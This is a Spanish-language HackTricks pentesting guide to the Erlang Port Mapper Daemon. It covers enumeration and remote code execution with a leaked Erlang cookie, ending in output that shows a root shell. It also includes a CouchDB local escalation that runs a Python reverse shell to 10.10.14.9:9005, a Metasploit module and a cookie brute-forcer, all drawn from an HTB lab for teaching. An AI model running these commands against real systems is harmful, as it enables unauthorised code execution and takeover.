hacktricks/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

4.7 KiB

Información Básica

El demonio de mapeo de puertos de Erlang se utiliza para coordinar instancias de Erlang distribuidas. Su trabajo es mantener un registro de qué nombre de nodo escucha en qué dirección. Por lo tanto, epmd mapea nombres de nodos simbólicos a direcciones de máquina.

Puerto predeterminado: 4369

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon

Esto se utiliza por defecto en las instalaciones de RabbitMQ y CouchDB.

Enumeración

Manual

echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369

#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses

Automático

nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon
| epmd-info: 
|   epmd_port: 4369
|   nodes: 
|     bigcouch: 11502
|     freeswitch: 8031
|     ecallmgr: 11501
|     kazoo_apps: 11500
|_    kazoo-rabbitmq: 25672

Erlang Cookie RCE

Conexión Remota

Si puedes filtrar la cookie de autenticación, podrás ejecutar código en el host. Por lo general, esta cookie se encuentra en ~/.erlang.cookie y es generada por Erlang en el primer inicio. Si no se modifica ni se establece manualmente, es una cadena aleatoria [A:Z] con una longitud de 20 caracteres.

greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]

Eshell V8.1 (abort with ^G)

At last, we can start an erlang shell on the remote system.

(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"

Más información en https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
El autor también comparte un programa para hacer fuerza bruta en la cookie:

{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}

Conexión Local

En este caso vamos a abusar de CouchDB para escalar privilegios localmente:

HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE 
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).

Ejemplo tomado de https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
Puedes usar la máquina Canape de HTB para practicar cómo explotar esta vulnerabilidad.

Metasploit

#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce

Shodan

  • port:4369 "en el puerto"
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥